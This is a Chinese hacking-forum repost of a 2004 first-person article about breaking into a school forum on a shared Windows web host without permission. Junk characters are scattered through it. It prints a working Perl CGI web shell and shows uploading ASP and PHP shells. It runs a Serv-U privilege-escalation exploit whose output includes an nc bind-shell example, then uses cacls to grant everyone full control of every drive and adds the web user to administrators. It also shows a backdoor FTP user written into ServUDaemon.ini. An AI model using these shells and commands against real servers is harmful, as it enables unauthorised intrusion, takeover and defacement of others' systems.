中国网络渗透测试联盟

标题: 剑走偏锋——灵巧的旁注攻击 [打印本页]

作者: admin    时间: 2012-9-15 14:11
标题: 剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击
7 a9 v& n( k# ]) X: s/ z, s- I6 _! z本文作者:angel
2 w  P& Z" ~8 f: P. h% g* ^$ D文章性质:原创
4 y+ F" z- p  Y/ H" Q, h8 F发布日期:2004-11-09
& S4 t+ R: N4 `注意:
- t# D# c( _$ o* j: @7 X, q本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。0 @# J; R% r  w% W# B
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
4 G: t: v# y8 k- |6 n% E; F! N- R5 w& S' ^9 B% Q# |4 K
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ) Y( u9 l) e7 I- g, Q3 h
0 v6 q, U6 S: T5 o* F
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 / c2 n3 s' l; D2 e! R4 `6 O" {9 Q
7 g1 \; M5 v  }3 Z) ^
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 3 O% {) ?( Y0 m  @9 f

9 l" r# l' G, {& r9 i  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 " u6 ^" k- ?% e# T8 Q1 Z/ i

# s+ g2 U# V# i  Z! l  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
' z( }" ^' }+ |8 i" Z5 M. T; b; E$ w: k/ ?" a4 r: f1 G5 p
  没有目的的跳转目录着…… ' q: X% A" U9 `6 {2 b

/ M9 i; ]. X  w) m) V+ {; x  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
( ]( P1 U) N5 U: |: |% C5 G
5 j2 u; `  V2 V: r! z5 k  结束了吗?不,我试着 FTP 一下:
/ ], w) @9 B" V$ ^0 x
# ]; v0 F$ I& Q& L) l; ^Microsoft Windows 2000 [Version 5.00.2195]
, Y$ |; h% @/ @" [(C) 版权所有 1985-2000 Microsoft Corp.
% _0 n% J# K2 y& i+ i1 C
2 t0 a% k* Y6 h! [, wC:\Documents and Settings\Administrator>ftp www.school.com
3 |' j! e% ^0 S3 z, K+ eConnected to www. school.com.
/ }* }$ G) a8 D' S2 X+ x1 [2 o220 Welcome to FTP Server... % e% C$ g* s: F/ P3 p
User (www.bjtrq.com:(none)):
, c+ \; g# U3 n331 User name okay, need password. & E* ^. G; g8 e( r: t) R
Password:
" ~7 F, G' G; j, r530 Not logged in.
& a) u8 M; N" M! o/ E! bLogin failed.
& Z$ ^2 X/ G2 S7 gftp> bye
6 l; W  [' E" y+ f1 J1 y221 Goodbye! # m; P0 }5 S) E) a, U& ]' [

! H0 H4 ~7 R: H7 k: c# i$ a3 y$ ]1 I) g9 N, F2 S5 x7 r
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
& B& h6 n5 g1 J4 g7 ]& ]+ B4 M; t& P% @% E, j5 g, z: `
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
1 i' b+ X- e* e# R# F0 O( y8 `
! K- S1 |# o; uApplication Data
2 Y7 x5 [0 e" q! O4 j# p0 cDocuments7 Y+ `  A' N$ S2 j2 f: {! ?
DRM
; ?+ s1 R9 h% x7 R  g$ vFavorites
7 R" z5 ]( c  F/ u( Y- q; |Templates
7 r6 s# g" U! u6 |/ S" r「开始」菜单2 h4 D4 o0 N' z* s" Z2 Z
桌面
# L3 z+ E% t! d* V) ?. n, s* ~
, i) i; a/ U- \6 g8 b. J" n" U$ n3 U/ B
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, ; y5 e& v2 g/ @/ C8 v0 ]% Z

- D5 o+ J6 V5 A1 p1 s: O' x8 `. EActiveState ActivePerl 5.8* c3 s* S+ ~6 |6 T" q7 i
Administrative Tools% Z4 J% N  z. H+ V! K& F
Deerfield.com8 k1 @- x0 ~. u$ k
DTemp8 p# A, f  p4 J
IPSentry3 y/ H* S/ t# _- ?5 z% C. d
MBM 5
9 v6 s# X. Z2 _NetMeter
4 L% K0 j5 K1 _3 T' |. H% ?Network ICE
5 ^9 T2 @8 d$ o# oPersits Software AspEmail. p) D5 |: F5 c  u. |
Persits Software AspJpeg+ L& Q3 C0 z9 O$ C$ E
Serv-U FTP Server/ I5 H2 ^* w# K8 T  q2 K& d! M
Symantec Client Security
- }' S; R1 R% i: V: F% N; g8 YWindows 优化大师
$ g6 ?' Q! ~2 o8 O4 LWinRAR# Q0 |6 J) e$ o1 g: R2 x
启动
# A' C) K, D3 G% a0 y& h' y; o管理工具. v( o( x% R* w' {4 \: n2 r
附件
8 t! A+ t& K8 N % E6 }  t0 w6 O0 ~% ^
: w, I1 C/ l/ H& {* J
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 8 ^% l0 k1 S- ]% _" y

% [: Y5 H7 ~& U& U3 V' L* E. U2 J  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
! G. H) g0 v5 ^9 C. }0 G5 [, V/ |+ W' p& \- |
User281=angel|1|0
/ z8 t0 X; J% k
5 g$ A) r5 Q) U7 f/ h0 G$ D  j) ?* u
  然后加上 2 j/ e& d1 H$ w2 y3 _" v5 W9 n. B% N
3 [9 q( b$ N0 r% L/ G" U. x
[USER=angel|1]  m9 j- x; z: S3 X7 \) k; A5 X
Password=ng98F85379EA68DBF97BAADCA99B69B805: Q; M* D: a4 H! ]) T8 I2 E. T
HomeDir=D:\websites
( `9 u& l- k! A) V( U% L8 [RelPaths=1
$ G1 b9 D$ l# i0 }! iTimeOut=600# r5 w+ U7 b/ ?3 e4 V
Maintenance=System, q5 I3 ]/ a7 K
Access1=D:\websites|RWAMELCDP: H9 V. S8 F- k7 ]: Y( A6 M
SKEYValues=
3 f3 T2 V# X+ e" T  U+ e$ l , I' R1 Q! M% Z1 r3 B% F! y

/ @' [+ S3 _$ q# @. G  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… / j+ I- d" x0 D& s% D

, t4 H% s$ L! {5 c% p0 M6 F$ c3 ?8 i6 r  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 + e/ @$ o* {9 x& v: P* O/ W

' B8 O; O& v4 [  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 * K/ g1 C* r5 c1 m6 e

; w7 Y6 l  P. ?: l( U  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
' m, N. C* O. N9 \8 ~
, m% c/ C7 |6 a1 ]: c5 `#!/usr/bin/perl- p4 x6 A1 F4 g/ v- r8 _
binmode(STDOUT);: @3 u8 s9 M) t( E& k
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);: {0 r  o: l/ I0 K/ s9 H
$_ = $ENV{QUERY_STRING};7 N% ]! }! _. M9 ]* e
s/%20/ /ig;
6 N2 i  i/ i1 R: q* ?+ {s/%2f/\//ig;
) @) }7 {' [! K6 h# x. C3 o9 ?$execthis = $_;
' i) D! d, Y. _+ P  C, o  b" fsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);; B7 |7 |$ Z% I5 Q6 ^# E6 d
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
8 A4 ^' O1 C6 Rsystem($execthis);# Z/ e& n6 e# X. `) T# B
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);* t( T. @0 z5 l$ \
close(STDERR);
6 A6 I+ Z; ^- R4 \. V; z# d* Yclose(STDOUT);% [. v* l5 U4 R6 \0 K- z
exit;
: r% s. L; E4 Q% u" ^# C
/ A! Q; D- I% F& [8 I  h+ i5 P7 Y0 H% a6 p3 P1 _
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ; A7 A$ O2 B  _8 i9 m
( w5 w; [" k1 G& K3 W
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: ) T9 w9 }- [! b( W0 v
  H7 M$ N! y) Z# _. p/ _
http://anyhost//cmd.pl?d:\user\bin\su.exe 7 ~  J! R2 g* W0 A% t' B! H. s
& Q  B1 ^# `! S5 B
1 G4 p& h% k7 q  F; {
  返回:
+ E3 u2 i4 N" G, I1 S3 d# i, i+ Y1 F7 e
Serv-u >3.x Local Exploit by xiaolu
8 j* n# y! Z/ ^% r" z* s8 P5 c( G
- \! n" S! I; E- h* i  |, }USAGE: serv-u.exe "command" # q& Q* Q" Q( @1 u5 }
+ |) }/ L9 ?% N* P7 h0 C* @8 G- P
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 4 ^5 D/ p/ D0 m+ A7 @9 w$ k

  e6 a+ A7 ~4 g& m) X* C0 Q+ ?0 E# R* ~+ j, G
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
" N, F6 S7 V& Z: Y, ], l
, y& L: d( ]: h/ @6 yhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" # z0 G- \# c- g6 C, Z2 k; j2 A+ m
" p/ n! ]( O) n
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" - V6 q# @; J6 M8 P' t; R

" o' o: j% H! k7 E' Ghttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" ; o6 a5 r% p8 W7 T/ F  {- r0 k

' D0 b9 u( c6 F9 f1 o0 n  h! dhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ! d/ O+ J5 T- |" A

# H5 C4 g6 V5 w5 l4 m
$ v- V% t) l" W' z  返回下面的信息,就表示成功了!!!
( `7 H2 c5 F" C6 _2 T: r
" y+ ~. u; y0 \, Y/ bServ-u >3.x Local Exploit by xiaolu & H3 L4 F8 r5 w; T

+ y, d6 C. q, L5 G: g<220 Serv-U FTP Server v5.2 for WinSock ready...
  `& {$ A% Y; C# [+ N* C! a$ Z5 [2 t0 o
>USER LocalAdministrator
, E: h! j  v1 V" Z
% L! X1 |& W; C8 ]0 s6 j<331 User name okay, need password. & _& o' A  X' e
- l, h; \7 I! T3 K( p
****************************************************** 3 p0 E2 j9 k; x& a7 I

( B/ ~: W+ v6 S3 m. T>PASS #l@$ak#.lk;0@P
" `3 T/ e- u% a8 K" `' t5 _7 M! p: O2 I' Z' [# _7 U5 ^5 s
<230 User logged in, proceed.
- H. w1 {6 p( q% i1 c3 \! t$ Z/ n" ]. K0 s
****************************************************** - E5 W) R6 w. z; `

2 H$ L9 M% t- A. [3 y2 j>SITE MAINTENANCE
4 o: G& G: b& A+ x0 Y7 M6 x" N; J! M+ E4 W+ ?! n& Y! U& s% S
****************************************************** - p- U& J( A3 T7 B0 @. s' Y

$ N  i( H3 J( U4 J, L/ B/ H[+] Creating New Domain...
. |: X: w  n0 b  P5 C+ j0 K# ~- ~4 b5 R& G
<200-DomainID=2
* ]) j; Y% e; T( R8 o/ h- `" v# R2 M  Y0 J) v
<220 Domain settings saved & ]8 k+ S# g* Y1 z
2 K; m+ S, h3 Q; F* }! m  \
****************************************************** 1 B  p. K' d7 U3 ~
' r) G7 z8 m8 v8 y0 X
[+] Domain xl:2 Created
, A8 F/ c- q2 ~. @! Y- ]6 j) h" I- T* i
[+] Creating Evil User ; |3 ~6 e: L, s, p3 A3 A
. V* I' L4 w  S, X" n* D, y! V3 F
<200-User=xl ! ?( ~8 F8 ?9 _. {& O8 K9 u

5 I  [7 o4 l8 I) V# a+ `7 R- W200 User settings saved : H( r- K5 a+ c' S! d3 F! e8 Z

& ^% l) `  y& ~3 b' h; ^****************************************************** + N5 O; s$ `+ w, q+ e) s4 r
8 |/ M# L$ ]) I4 D* W
[+] Now Exploiting...
* _. t; v! f- z- x* I% F  y  R
/ `3 v0 O) @1 b' x6 y$ t>USER xl 5 w, n( c" W$ \8 }5 p

+ [8 h) T, G5 j5 d# A  ~<331 User name okay, need password.
: y3 h+ w; I0 {+ G5 Y1 ^  T+ b# Q
. u# ]! Z) C9 H9 d* b! V****************************************************** * D: y8 n+ A# z, _# \2 x% z  N: y
7 ^- Q& X, K0 E' C
>PASS 111111
; G$ o& X* y. Q; O4 U
5 X1 K3 {% C/ q2 N( ^3 A4 B6 _<230 User logged in, proceed.
+ \8 F! h2 j. {! O; Z
8 o3 `, H9 s  \0 b- N3 ^0 @****************************************************** 5 d# L) P( y4 v% Y$ r
* O* a! J7 S' a- ~, K0 y( z9 j
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
3 h5 h9 \# l6 p7 @: E/ q+ D. e$ x  ]* R% {$ n1 W
<220 Domain deleted
% A; f) K, p- {& r  m3 |( ]* g5 u" W* \6 ^
****************************************************** / o" q' J; b8 h. Z

! [8 l* e* c0 w) V; q% ^6 j3 h4 I. G0 X) i
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: + f. {0 L: P) P2 y( h$ j7 S" V. A6 U4 c

* @* B- w" T# @- yhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
8 p" J& w3 N) M5 i, I ) w. t- g1 Z" J, i# ]
- e0 q3 l* Y9 |, r
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
4 i; [8 f1 Z; i' t- l( h; t6 ]: [, S4 A; C' }4 A6 ~7 Y
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
5 z  K* B5 c. j
: g5 ], B, e& w& _" e/ z$ ~  
' U5 a3 w& A6 p6 z




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2